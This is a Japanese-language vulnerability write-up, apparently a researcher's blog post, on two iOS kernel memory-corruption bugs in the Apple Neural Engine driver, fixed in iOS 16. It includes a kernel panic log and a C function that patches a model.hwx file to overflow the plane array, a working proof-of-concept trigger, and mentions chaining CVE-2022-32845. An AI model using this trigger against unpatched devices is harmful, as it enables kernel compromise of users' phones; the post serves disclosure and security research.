
Nov 23, 2022 • Mohamed GHANNAM (@_simo36)
デフォルトのアプリサンドボックスから到達可能で、UserClientを開く必要のない iOSカーネル脆弱性をさらに2件共有します:

私がAppleに報告した16件以上のカーネルバグがiOS 16/16.1で修正されました。 来月の#POC2022で、カーネルr/wを達成するためにいくつかのバグを連鎖させた方法について講演します。 カンファレンス終了後には、iOS 15向けのカーネルエクスプロイトを他の影響度の高い脆弱性とともに公開する予定です。
これまでのIDA 8.0でお気に入りの機能:人工Obj-Cメソッドインポート

iOS 15.5 beta 3で、AppleはIOSharedDataQueue/IODataQueue::initWithCapacity()からIOMallocAligned(KHEAP_DEFAULT,...)を削除しました (現在はKMA_DATAフラグを指定したkernel_memory_allocate()を使用)。 これはユーザー制御のデータでカーネルのデフォルトヒープをグルーミングするエレガントな手法でした。RIP

Apple Neural Engineがカーネルレベルでモデルをロードするプロセスをリバースエンジニアリングしている際に、H11ANEIn::ANE_ProgramCreate_gated()内のニューラルネットワークの特徴を処理するコードに、2つの興味深いメモリ破壊の脆弱性を特定しました。私の意見では、この種の脆弱性はカーネルドライバを手動で監査する際には見つけやすいですが、非常に洗練されたものを構築しない限り、ファザーで検出するのはほぼ不可能です。
ZinComputeProgramGetNamesFromMultiPlaneLinear()関数とZinComputeProgramGetNamesFromMultiPlaneTiledCompressed()関数はどちらも、プロシージャの入力と出力、より正確には、binding_type_infoの値が4と5であるスレッドフレーバー2(ane_bind_state)のLC_THREADコマンドを解析する役割を担っています。
私が確認できた限りでは、binding_type_info = 4はプロシージャの入力が複数のプレーンを持つことを意味し、binding_type_info = 5は入力が複数のプレーンを持つだけでなく圧縮もされていることを意味します。
例えば、ZinComputeProgramGetNamesFromMultiPlaneLinear()関数は5つの引数を取ります:ロードコマンドポインタ、スレッドバインディングポインタ、そして3つの追加の出力引数です。最後の出力引数planesは、ユーザーが制御する内容を持つプレーン(つまりカーネルポインタ)を保持する配列で、最後の引数planeCountはmodel.hwxファイルからplanesにコピーされたプレーン(またはカーネルポインタ)の数を示します。以下が関数定義です:

モデルが提供できるプレーン数の検証が欠如しているため、planes配列の境界外にカーネルポインタが書き込まれる可能性があり、多くの興味深いメモリ破壊シナリオにつながる可能性があります。
planes配列はH11ANEIn::ANE_ProgramCreate_gated()内にあるスタック変数で、この変数(最大4要素の複数プレーンを保持する想定)を4つ以上のプレーンでオーバーフローさせることで、他のスタック変数も破壊される可能性があります。上書きするカーネルポインタが完全にユーザーの制御下にあるため、型混同(type-confusion)などの他の問題につながる可能性があります。
明らかに、planes配列をあまりに多くのエントリでオーバーフローさせると、スタッククッキーと保存された古いスタックフレームポインタも上書きされ、カーネルパニックが発生する可能性があります。幸いなことに、プレーンの総数は完全に提供するモデルの制御下にあるため、スタックのそのような機密領域に影響を与えることなく、いくつかのスタック変数を破壊できます。
もう1つの興味深いシナリオとして、下の画像に示すように、2つのヒープオブジェクト、H11ANEProgramBindingInfo(528行目)とH11ANEProgramCreateArgsStructOutput(533行目)をオーバーフローさせることが可能です。

struct H11ANEProgramBindingInfo
{
struct {
uint32_t field_0;
char names[8][512];
uint32_t field_1004;
char *procedure_name;
} inputs[255], outputs[255];
};
H11ANEProgramCreateArgsStructOutputの構造体定義を上に示します。これを破壊すると、以下のようなクラッシュが発生する可能性があります:
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
x0: 0x1122334411223344 x1: 0xfffffe3000ecff20 x2: 0x0000000000000040 x3: 0x0000000000000000
x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0x00000000000000e8 x7: 0x0000000000000830
x8: 0xfffffe608949c000 x9: 0xfffffe24cec0d1b0 x10: 0xfffffe24cd7d4010 x11: 0xfffffe1667fa93e0
x12: 0x0000000000000001 x13: 0x0000000000000858 x14: 0xfffffe3000ed0760 x15: 0x00292a20736d6172
x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860 x22: 0xfffffe299a621a00 x23: 0xfffffe2999c72208
x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1 x26: 0xfffffe608949c000 x27: 0xfffffe60895a2054
x28: 0xfffffe6089dcb850 fp: 0xfffffe6089dcacd0 lr: 0x03effe0011b1b47c sp: 0xfffffe6089dcacd0
pc: 0xfffffe0010a8a48c cpsr: 0x00401208 esr: 0x96000004 far: 0x1122334411223344
これらの脆弱性が興味深い点は、カーネルと直接やり取りする必要がないことです。言い換えれば、UserClient接続を開く必要はなく、悪意のあるモデルをコンパイル(または作成)して、anedにあなたの代わりにロードさせるだけです。
ご存知のとおり、anedを介してモデルをロードするには、モデルがANECompilerServiceシステムサービスによってコンパイルされるか、Appleによって署名されている必要があります。つまり、アプリは.mlmodelcディレクトリをanedに提供する必要があり、anedはEspressoとANECompilerという2つのフレームワークを使用してANECompilerServiceにmodel.hwxへのコンパイルを要求します。私が何を言っているのか分からない場合は、#POC2022のスライド ここ ここでanedがどのように機能するかの基本的な概要を説明しました。さらに、コンパイルプロセスの詳細については、Wish Wu氏の優れた BlackHat講演 で、ANEに関する彼の研究や、ANECompilerServiceが行うことを正確に再現する彼の素晴らしいツールについて詳しく知ることができます。
今回のケースでは、入力(または出力)が複数のプレーンをサポートするプロシージャを持つmodel.hwxが必要です。残念ながら、mlmodel、mlmodelc、mlpackage形式ではそのようなモデルは入手できず、hwx形式のモデルもAppleが提供する数少ないものしかありません。これらのhwxモデルを調査したところ、オープンソースのcoremltoolsライブラリのコードベースには存在しない、奇妙でドキュメント化されていないニューラルネットワーク演算を使用していることが判明しました。これらのネットワークレイヤーはおそらく内部使用専用であることを示唆しています。ただし、これらの演算の実装はEspressoフレームワークによって定義されており、それらがサポートする入力と出力を理解し、ニューラルネットワーク内のレイヤーとして適切に使用する方法を理解するには、ある程度のリバースエンジニアリングが必要です。フレームワークはSTLを使用したC++で書かれているため、この演算のリバースエンジニアリングは永遠に時間がかかるため、私は興味がありませんでした。
これが、CVE-2022-32845を発見するに至った主な理由です。この脆弱性により、この恐ろしいフレームワークのリバースエンジニアリングを回避できるだけでなく、高度な機械学習のトピックを研究する何百時間もの時間も節約できました。
そこで私は単純なmodel.hwxを取り、そのLC_THREADコマンドの1つをパッチしてane_bind_stateで望ましい結果を再現し、CVE-2022-32845を悪用して、Appleが署名したかのようにanedにロードさせました。これでAppleに脆弱性を実証するのに十分でした。
モデルをパッチする関数を以下に示します。自分で脆弱性をトリガーしたい場合は、私のweightBufsカーネルエクスプロイト からコードを借用できます。
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
dbg("[-] Bad Mach-O file \n");
return ;
}
struct load_command *lc = NULL;
FOR_EACH_COMMAND {
if (lc->cmd != LC_THREAD)
continue;
dbg("LC_THREAD command found \n");
compute_thread_command *thread = (compute_thread_command *)lc;
u32 name_off = 0;
switch (thread->flavor) {
case THREAD_BINDING: {
name_off = *(uint32_t*)((char*)thread + 0x18);
dbg("Binding Name \n");
compute_thread_binding * bd =
(compute_thread_binding *)&thread->thread_states;
bd->binding_typeinfo = 4;
bd->field4 = 1;
u32 plane_count = 0x30;
char *buf_start = (char*)lc + 0x20;
*(u32 *) buf_start = 0;
*(u32 *) (buf_start + 0x10) = plane_count;
char *_ptr = buf_start + 0x6C;
int i = 0;
uint64_t off = 0;
do {
if(off == 0)
off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
*(unsigned int *)_ptr = mh_size;
u64 *pp = (u64 *)&_ptr[4];
for(int k = 0; k < 4;k++)
pp[k] = 0x1122334411223344;
_ptr += 0x68;
}while (i++ < plane_count);
patched = true;
return;
}
case THREAD_PROCEDURE_OPERATION:
case THREAD_PROCEDURE:
default:
break;
}
dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);
}
}
AppleはiOS 16で、両方の脆弱な関数にいくつかの検証チェックを導入し、提供されるプレーン数を4エントリに制限することでこの問題に対処しました。以下に示します:

今回はこれで終わりです。またすぐお会いしましょう!